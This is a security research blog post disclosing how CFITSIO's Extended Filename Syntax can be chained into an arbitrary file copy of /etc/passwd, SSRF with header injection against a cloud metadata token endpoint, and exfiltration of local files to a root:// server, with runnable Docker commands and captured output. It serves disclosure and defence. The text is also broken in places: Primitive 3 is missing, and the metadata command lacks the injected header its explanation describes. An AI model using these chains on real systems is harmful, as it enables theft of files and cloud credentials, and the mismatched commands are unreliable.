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This research was recently presented at [BSides Luxembourg 2026](#). This blogpost documents our findings presented during the talk. The BSides slides are posted [here](#). Today, we're also releasing the Docker-based playground utilized for the demos so anyone interested can reproduce the findings locally: [doyensec/cfitsio-efs-playground](#).

In our [previous post](#) on CFITSIO, we wrote about the AI-assisted fuzzing pipeline and the memory corruption issues found in its Extended Filename Syntax (EFS). This was only half of the story. We kept thinking that even without memory issues, EFS seems like a pretty powerful and rather risky feature. The EFS page is full of very interesting [use cases](#). To quote some of them (emphasis mine):

'rawfile.dat[i512,512]': reads raw binary data array (a 512x512 short integer array in this case) and *converts it on the fly* into a temporary FITS image in memory which is *then opened* by the application program.

'ftp://heasarc.gsfc.nasa.gov/test/vela.fits': FITS files in any *ftp archive site on the internet* may be opened with read-only access. Files with *HTTP addresses* may be opened in the same way.

'myfile.fits[EVENTS][PHA > 5]': *creates and opens a temporary FITS files* that is identical to 'myfile.fits' except that the EVENTS table will only contain the rows that have values of the PHA column greater than 5. In general, any *arbitrary boolean expression using a C or Fortran-like syntax*, which may...

That surely looks promising, right?

Therefore, this post is about the next batch of findings. This time, there are no heap overflows or stack corruptions to discuss. We'll focus on perfectly documented features, useful during file processing, but chained together to achieve some unexpected offensive primitives.

This article is not meant to criticize CFITSIO's authors or its code. I actively use tools that depend on CFITSIO and appreciate the work behind them. What interests me here is how perfectly reasonable legacy features can become real security problems once the surrounding software and threat model change.

Extended Filename Syntax

As demonstrated, EFS is more than a mere filename parser. It is a mini-language hidden inside a filename parameter, capable of doing very interesting stuff. To understand how it works, we have to look into the source code.

When an EFS-enabled method is used, the input string eventually reaches CFITSIO's internal `ffopen()` routine, which runs it through EFS parsing logic before the actual file is opened. At that stage, parts of the string may be reinterpreted as a protocol, outfile clause, extension selector, or filter expression.

The implementation is *driver-based*. CFITSIO keeps a table of registered backends through `fits_register_driver`, each associated with a prefix and a set of handler functions such as `checkfile`, `open`, `create`, `seek`, `read`, and `write`. Besides standard files, CFITSIO registers handlers for things like `mem://`, `shmem://`, `http://`, `ftp://`, and even exotic variants like `ftpsmem://`, `ftpfile://`, or `ftpscompress://`.

This is why EFS can seamlessly jump between local files, memory-backed files, compressed variants, and network protocols without the caller doing anything special.

Some of those drivers may implement `write`, `create` or `seek` methods, some may not.

```
status = fits_register_driver("ftpscompress://",
    NULL,
    mem_shutdown,
    mem_setoptions,
    mem_getoptions,
    mem_getversion,
    NULL, /* checkfile not needed */
    ftps_compress_open,
    0, /* create function not required */
    mem_truncate,
    mem_close_free,
    0, /* remove function not required */
    mem_size,
    0, /* flush function not required */
    mem_seek,
    mem_read,
    mem_write);
```

To achieve interesting primitives, we need to carefully review what's available and what's not.

A Tiny Lab Environment

To simplify testing and demonstrating while ensuring reproducibility, we built a minimal Docker playground around CFITSIO. The container includes a tiny helper program called `fits-sample-opener`. In the insecure mode, it just calls `fits_open_file`, performs one harmless metadata query, and exits. The helper does almost nothing on purpose. If opening a file causes a network request, a local file copy, or outbound exfiltration, that behavior comes from CFITSIO itself.

That additional metadata query is there for a reason: some EFS behaviors do not fully materialize on the initial open alone. We wanted the sample application to stay minimal while still triggering side effects like a real caller that actually inspects the file it just opened.

The full environment, including the helper program, building instructions, and the fake `root://` server used later in this post, is available [here](#).

Make sure to target the right git tag/release as EFS handling might change in the future.

Primitive 1: Arbitrary File Copy

The first surprising behavior comes from the outfile clause. EFS supports the following formula:

```
input.fits(output.fits)
```

The meaning is roughly: work on `input.fits`, but first save a separate copy as `output.fits`.

Now, let's use our EFS playground and replace `input.fits` with `/etc/passwd`:

```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '/etc/passwd(/workspace/foo)'
```

Even though `/etc/passwd` is not a FITS file, the copy happens *before* validation fails. This is an arbitrary file copy primitive. Depending on the target environment, the attack might be followed by copying sensitive files into a web-accessible or otherwise attacker-readable location, or just breaking something to achieve denial-of-service. Of course, standard OS permissions still apply.

Primitive 2: Forced Downloads and SSRF

If the filename starts with `http://`, `https://`, `ftp://`, or `ftps://`, CFITSIO will reach out to the remote resource and fetch it. The plain `http://` and `ftp://` paths are handled by raw socket code that has been in the tree for nearly 30 years. There was no concept of Server-Side Request Forgery back then. The TLS variants delegate to libcurl, where the request line is built by the library and is not directly attacker controlled. Either way, the same outfile clause still applies, which is what makes this interesting.

```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener 'https://example.com/anyfile(/workspace/grabbed.file)'
```

This causes CFITSIO to download the remote response and save it to a local path chosen by the attacker, even if the downloaded data is not valid FITS.

At that point the library becomes an SSRF gadget with persistence. It is not just “connect to a remote host”. It is “connect to a remote host, retrieve content, and write it somewhere useful on the local filesystem”.

There might be plenty of juicy targets in the local network or on *localhost*. However, what SSRF is often used for these days is accessing cloud metadata services. On a compromised cloud workload, the metadata endpoint is a common target because it hands out short-lived service-account tokens that authenticate against the rest of the cloud APIs - turning a single SSRF into broader cloud access. To mitigate basic attacks, cloud metadata services often add extra requirements. For instance, to query the GCP Metadata Service from a Compute Engine instance, you must include the header `Metadata-Flavor: Google` in your HTTP request and none of the CFITSIO drivers let you explicitly set custom headers.

CFITSIO's `drvnet.c` HTTP driver comes to the rescue. The request line is built with a simple `snprintf` call:

```
snprintf(tmpstr, MAXLEN, "GET %s HTTP/1.0\r\n", fn);
```

The `fn` component comes from the attacker-controlled filename and is not sanitized before being inserted into the request.

That means newline characters can be embedded into the EFS string to inject additional headers or inject entirely new requests. In practice, this turns a basic outbound request into a request-injection primitive where the attacker can reshape the final HTTP request seen by the target service. Note that we can smuggle several requests at once, but only the very first response will be processed by CFITSIO.

In our demonstrations, this was enough to reach metadata-style endpoints that expect extra headers. For example:

```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1'
```

The trailing `foo:` is not padding. We're using it to comment out the `HTTP/1.0\r\n` piece that `sprintf` always appends to our string. The metadata service simply ignores the unknown header and its value.

Primitive 4: Local File Exfiltration via `root://`

Even though we already demonstrated some file exfiltration tricks, these might not work if there is no web server or network-exposed directories.

One might think of a `https://example.com/anyfile(https://attacker.com/exfil)` payload to download and upload data at the same time. Unfortunately, this doesn't work. The HTTP driver treats the outfile clause as a local destination name, not as another network URL to open. The HTTP driver also explicitly rejects write attempts.

`drvnet.c:301:`

```
/* don't do r/w files */
if (rwmode != 0) {
    fprintf("Can't open http:// type file with READWRITE access");
    fprintf(" Specify an outfile for r/w access (http_open)");
    goto error;
}
```

Thus, we started looking for drivers capable of making web connections and sending the data out. CFITSIO still ships support for a variant of CERN's `rootd` protocol. As [noted](#) in the code:

Root protocol[sic] doesn't have any real docs, so, the emperical docs are as follows. First, you must use a slightly modified rootd server...

Even though we couldn't find that *slightly modified rootd server* online, we reconstructed a mock server from the comments and CFITSIO's code.

This matters because the `root://` driver is not just about reading remote data. Through the outfile clause, it can also be used as an exfiltration sink. In other words, the victim process can be tricked

into opening a local file and pushing it to an attacker-controlled `root://` server.

There are two practical caveats, though.

First, the `root://` code *expects* credentials. In `root_openfile`, it checks for `ROOTUSERNAME` and `ROOTPASSWORD` environment variables, and if they are not set it falls back to reading from `stdin` with `fgets()`. In an interactive session this often blocks and ruins the exploit.

```
/* get the username */
if (NULL != getenv("ROOTUSERNAME")) {
    if (strlen(getenv("ROOTUSERNAME")) > MAXLEN-1)
    {
        fprintf("root user name too long (root_openfile)");
        return (FILE_NOT_OPENED);
    }
    strcpy(recbuf, getenv("ROOTUSERNAME"));
} else {
    printf("Username: ");
    fgets(recbuf, MAXLEN, stdin);
    recbuf[strlen(recbuf)-1] = '\0';
}
```

However, many real deployments are not interactive. Containers, cron jobs, pipelines, and other batch-style environments frequently run with `stdin` closed or redirected to EOF. In that case `fgets()` returns immediately and the exploit continues.

Second, the driver wants FITS content. Exfiltrating actual FITS files can be a valid attack target, but being able to exfiltrate arbitrary files would be way more rewarding.

Fortunately, this is where EFS becomes absurdly flexible. The raw-data clause `[b...]` can wrap arbitrary bytes and fabricate a valid in-memory FITS object from them.

The first part of our chain, `[b500,1]`, tells CFITSIO to stop treating the input as a normal FITS file and instead interpret the underlying bytes as raw binary image data. The `b` selects that raw-binary mode. The `500` is the width of the synthetic image, which in practice means “take 500 bytes per row”. If the source file is larger than that, we still get the first 500 bytes wrapped into the generated image. If it is smaller, the conversion fails and the payload needs to be adjusted. This might require a few tries but eventually we can find the right values. The trailing `1` makes the synthetic image one row high, so the result becomes a simple 500x1 FITS image rather than just an arbitrary byte stream.

The second part, `[*,*]`, is an image-section selector. Here it simply means “select the whole generated image” rather than a sub-range. It may look redundant, but in the tested path it was useful to force CFITSIO to expose the fabricated object as a regular 2D image and move the processing forward cleanly.

In summary, the trick revolves around opening the referenced file, reinterpreting its first bytes as raw pixels, synthesizing a minimal FITS image header around them, and applying some filters.

Once that transformation happens, a non-FITS local file becomes good enough for the `root://` exfiltration path.

In our Docker playground, it can be reproduced with:

```
docker run --network=host --rm cfitsio:4.6.3 \
  fits-sample-opener '/etc/passwd(root://127.0.0.1:1094//foobar)[b500,1][*,*]'
```

On the host side, we used a tiny Python server that implements just enough of the legacy protocol to receive the data and print what arrived. Its full code can be found in the playground as `root.py`.

The server is pretty verbose. The captured output includes a fabricated FITS header followed by the first 500 bytes of `/etc/passwd` content.

```

Connection from ('127.0.0.1', 49332)
recv_message: len=4 op=ROOTD_USER payload_len=0
Username:
send_message: op=ROOTD_AUTH payload_len=4
recv_message: len=4 op=ROOTD_PASS payload_len=0
Password bytes: b''
send_message: op=ROOTD_AUTH payload_len=4
recv_message: len=19 op=ROOTD_OPEN payload_len=15
Open request: //foobar create
send_message: op=ROOTD_OPEN payload_len=4
Handshake complete; entering data loop.
recv_message: len=12 op=ROOTD_PUT payload_len=8
handle_session: received ROOTD_PUT (2005) payload=b'0 2880 \x00'
handle_session: expecting 2880 bytes for PUT data at offset 0
PUT offset=0 length=2880 preview=b'SIMPLE =          T / file does conform to FITS stand'...
send_message: op=ROOTD_PUT payload_len=4
recv_message: len=15 op=ROOTD_PUT payload_len=11
handle_session: received ROOTD_PUT (2005) payload=b'2880 2880 \x00'
handle_session: expecting 2880 bytes for PUT data at offset 2880
PUT offset=2880 length=2880 preview=b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/u'...
send_message: op=ROOTD_PUT payload_len=4
recv_message: len=4 op=ROOTD_FLUSH payload_len=0
handle_session: received ROOTD_FLUSH (2007) payload=b''
FLUSH requested
send_message: op=ROOTD_FLUSH payload_len=4
Connection closed while attempting to reply.
Captured file content (5760 bytes):
SIMPLE =          T / file does conform to FITS standard          BITPIX =          8 / number of bits per data pixel
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin

```

This was a great outcome! A file exfiltration primitive, chained from a series of interesting parser quirks, that at some point started looking like exploitation building blocks.

Edge Cases and Workarounds

There is a safe route, but it is not the default one. If a program explicitly uses `fits_open_diskfile` or `fits_open_datafile`, CFITSIO opens the path literally and does not interpret EFS. Some applications do this intentionally, although in a few cases we found it was done for functional reasons rather than security awareness. For example, users were unable to open files with brackets or parentheses in their names, so the literal open routine looked like the easier fix.

[Siril](#), an astronomical image processing tool, is such a case. While reviewing its code, we noticed that Siril had already moved away from the default EFS-aware open path and explicitly used the literal `fits_open_diskfile` routine instead. The motivation, however, was not a security hardening effort. It appears to have been a practical fix for user-facing parsing problems, specifically filenames containing characters that the EFS parser wanted to interpret. The relevant [Siril commit](#) references the underlying [issue #475](#) where purely functional matters are discussed. In other words, one of the more popular open-source astrophotography tools ended up disabling the feature because it was getting in the way of normal file handling, not because EFS had been recognized as a dangerous attack surface.

Similarly, NASA's own `fitsverify` tool, distributed with CFITSIO and used to verify FITS standard compliance, also moved to `fits_open_diskfile` in the standalone version. The [release notes](#) describe the motivation as purely functional: "This allows for file paths with special characters...that would otherwise fail".

Hard to Fix

Memory corruption bugs reported earlier were easier to address. This class of issues is complex to mitigate given that CFITSIO is behaving as designed. Furthermore, all these filtering, transformation, and access behaviors are actively used by scientific software out there. Backward compatibility matters a lot in scientific tooling. FITS itself survives because old data must keep working, and CFITSIO grew around that reality for decades.

As with previous bugs, we prepared a [security advisory](#) summarizing the insecure designs and anti-patterns discussed here. This was shared with NASA's HEASARC team on *January 22, 2026*. Each finding includes dedicated remediation suggestions, but the overall recommendation is to change the default behavior and trust boundaries, rather than remove the functionality entirely. Our pragmatic proposal is to make EFS an explicit runtime opt-in, for example via an environment variable, while preserving the current API for software that intentionally relies on it. It's still a change, but with much less impact.

As of today, **the safest mitigations for developers using CFITSIO are:**

- Use `fits_open_diskfile` or `fits_open_datafile` when you need to open a literal file path.
- Treat EFS as a privileged feature and strictly limit where it can be used.
- Apply additional filename sanitization before passing input to EFS.

In summary, if a parameter is called a filename but behaves like a small programming language, it deserves to be threat-modeled like one.

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